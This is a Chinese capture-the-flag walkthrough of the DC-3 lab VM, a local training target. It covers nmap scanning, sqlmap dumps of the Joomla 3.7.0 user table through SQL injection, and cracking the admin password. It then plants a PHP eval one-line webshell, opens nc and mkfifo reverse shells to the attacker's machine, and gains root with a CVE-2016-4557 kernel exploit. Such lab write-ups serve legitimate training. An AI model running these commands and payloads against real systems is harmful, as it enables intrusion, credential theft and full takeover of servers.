首先打开虚拟机扫描虚拟机的IP地址
ifconfig
接着寻找靶场的真实ip
nmap -sP 192.168.220.0/24
本机的ip为192.168.220.128
分析可得靶机ip为192.168.220.131
接着信息收集,探端口及服务
nmap -A -p- -v 192.168.220.131
发现开放了80端口,存在web服务
他告诉我们DC-3只有一个目标获取root权限
joomscan简介
JoomScan是一个开源的漏洞扫描器,主要用于自动化检测Joomla CMS开发中的漏洞,以增强安全性。该工具基于Perl开发,能够对各种Joomla项目进行轻松无缝的漏洞扫描,且不会留下过多的痕迹
joomscan扫描
下载joomscan
sudo apt install joomscan
扫描
joomscan --url http://192.168.220.131
扫描结果如下
知道了joomla cms版本为3.7.0
网站后台地址http://192.168.220.131/administrator/
利用nikto获取后台地址
nikto简介
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
nikto扫描
nikto --url http://192.168.220.131/
查找漏洞发现有sql注入
我们前面知道了CMS为joomla,版本为3.7.0
使用searchsploit检查到有对应的漏洞
searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
查看一下漏洞提示信息
searchsploit -m 42033.txt
cat 42033.txt
提示信息如下
看到了POC,验证一下,把localhost修改为我们的靶机IP就ok
看到提示,数据库语句错误,进行了拼接,存在SQL注入
跑出所有数据库
sqlmap -u "http://192.168.220.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
扫描结果成功把数据库跑出来了
获取当前数据库名字joomladb
sqlmap -u "http://192.168.220.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
sqlmap -u "http://192.168.220.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
获取joomladb的users表的字段名
sqlmap -u "http://192.168.220.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第一个直接回车使用默认的y
第二个打出y,不要使用默认的,不然会出错
第三个随便
第四个选项10线程
最终跑出6个字段
获取目标字段username和password
sqlmap -u "http://192.168.220.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
拿到一个用户名和一个加密的密码
创建一个1.txt,把加密的字段写入
使用john破解出admin密码是snoopy
利用获取到的账号密码进行登录
网址http://192.168.220.131/administrator/
账号admin/密码snoopy
登陆成功
上传webshell
发现一个上传点
选择templates中的templates
点击BeeZ3 Details and Files进入
点击newfiles
我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑
要上传木马,我们先要找到当前文件所在的目录:
http://192.168.220.131/templates/beez3/html/
回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell
创建好之后跳到编辑页面,输入php的一句话,点击绿色的进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
再次访问
http://192.168.220.131/templates/beez3/html/
会发现多了一个shell.php文件,访问一下
访问webshell,得到我们设置的会先内容,文件上传成功
蚁剑管理
右键添加数据
右键进入虚拟终端执行whaomi查询权限,www-data权限
.反弹shell到kali
蚁剑看到的终端不如kali清晰,反弹一个shell到kali
1.kali监听
nc -lvvp 1234
靶机连接
nc -e /bin/bash 192.168.26.128 1234
发现-e参数不可用
目录链接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.26.128 1234 >/tmp/f
创建交互式shell经常用shell的都知道这个shell不好用,我们建立一个交互式shell
常用的就是python创建交互式shell python3 -c 'import pty; pty.spawn("/bin/bash")'
.使用辅助脚本发现提权漏洞
1.下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:
https://github.com/mzet-/linux-exploit-suggester
2.上传辅助脚本
我们直接在蚁剑中上传
上传成功后输入 ls -l linux-exploit-suggester.sh 来测试漏洞
发现没有执行权限,我们只需要再加个执行文件
chmod +x linux-exploit-suggester.sh
执行脚本 ./linux-exploit-suggester.sh 发现很多可利用漏洞
使用辅助脚本提权
1.获取提权脚本上面发现了很多漏洞,这里我们挑一个进行提权
挑选的是 CVE-2016-4557
在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
也可以去searchsploit里面去看看
地址同样不能使用
可以使用下面地址直接下载
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip
解压文件 unzip 39772.zip
输入 cd 33792 回车再输入 ls
继续输入 tar -xvf exploit.tar 和 cd ebpf_mapfd_doubleput_exploit
最后再输入 ./compile.sh 和 ./doubleput 执行完之后,提权成功
然后获得root权限
最后一步发现 the-flag.txt 输入 ls 和 cat the-flag.txt
这样DC-3就算完结了